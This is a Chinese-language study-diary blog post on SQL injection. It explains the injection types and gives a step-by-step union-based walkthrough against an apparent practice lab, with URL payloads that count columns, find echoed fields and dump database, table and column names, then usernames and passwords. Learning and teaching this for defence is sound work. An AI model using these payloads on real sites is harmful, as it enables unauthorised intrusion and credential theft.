sql注入学习日记

sql注入原理

插入恶意的代码到应用代码中,后端直接接受数据而不进行过滤而产生的漏洞

sql注入类型

数字型

当输入参数为数字类型时,例如页码,ID等,存在注入时则为数字类型的注入。

测试方法如下:

http://www.xx.com/a.php?id=1

http://www.xx.com/a.php?id=1’                     返回异常

http://www.xx.com/a.php?id=1 and 1 =1              返回正常

http://www.xx.com/a.php?id=1 and 1 =2              返回异常

说明存在注入可能。

这类注入方式常见于PHP和ASP等弱类型语言中,弱类型语言会自动推导数据类型,例,输入的ID的值为1时,会自动推导出ID的数据类型为int型,当输入的ID的值为1 and 1 = 2时,会自动推导出ID的数据类型为string型,但JAVA或者C#这类强类型语言并没有这样的特性,int型强制转换成string型时,会抛出异常,注入失败,所以这类注入方式常见于弱类型语言中。

字符型

当输入参数为字串类型时,则为字串类型的输入,其与数字类型的注入的区别在于:注入时需要使用单引号来闭合。

测试方法如下:

http://www.xx.com/b.php?name=admin

http://www.xx.com/b.php?name=admin’and 1 = 1 --     返回正常

其不同主要原因在于sql语句的差异,例,select *from user where name = ‘admin’ 则注入时需要单引号闭合,注入的数据应为admin’and 1 = 1 --,合并为sql则为select * from user where name = ‘admin’and 1 = 1 – ‘ 。

搜索型

HTTP注入(IP地址的伪造)

例:

X-Forwarded-For是HTTP头的一个字段。它被认为是客户端通过HTTP代理或者负载均衡器连接到web服务端获取源ip地址的一个标准。

Useragent是记录软件程序的客户端信息的HTTP头字段,他可以用来统计目标和违规协议。在HTTP头中应该包含它,这个字段的第一个空格前面是软件的产品名称,后面有一个可选的斜杠和版本号。

Referer是另外一个当应用程序没有过滤存储到数据库时,容易发生SQL注入的HTTP头。它是一个允许客户端指定的可选头部字段,通过它我们可以获取到提交请求URI的服务器情况。它允许服务器产生一系列的回退链接文档,像感兴趣的内容,日志等。它也允许跟踪那些坏链接以便维护。

获取信息方式不同

(1)基于布尔的盲注,即可以根据返回页面判断条件真假的注入。

(2)基于时间的盲注,即不能根据页面返回内容判断任何信息,用条件语句查看时间延迟语句是否执行(即页面返回时间是否增加)来判断。

(3)基于报错注入,即页面会返回错误信息,或者把注入的语句的结果直接返回在页面中。

sql注入流程

判断注入类型

http://bachang.cn/sqli/Less-1/?id=1' or 1=1 --+

判断字段个数

使用order by判断当前表的字段个数

例:?id=1 order by n --+

若n超过当前表的列数,就会报错,说明表中只有n-1列

http://bachang.cn/sqli/Less-1/?id=1' order by 3 --+

判断回显位置

判断显示位时,要使用 ?id=-1 或者改为0 让前面的select语句查询为空错误,然后采用后面的select语句去查询:

?id=-1’ union select 1,2,3 --+

爆破数据库名称

?id=1’ union select 1,database(),3 --+

在之前回显2的地方会回显database数据库的名字。

爆破数据库中的表

?id=1’ union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() --+

爆破表中的字段

?id=1’ union select 1,group_concat(column_name),3 from information_schema.column where table_schema=’爆出来的数据库名‘ and table_name=‘爆出来的表名’ --+

爆破字段中的数据

?id=-1’ union select 1,group_concat(id,’–‘,username,’–',password),3 from users --+

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值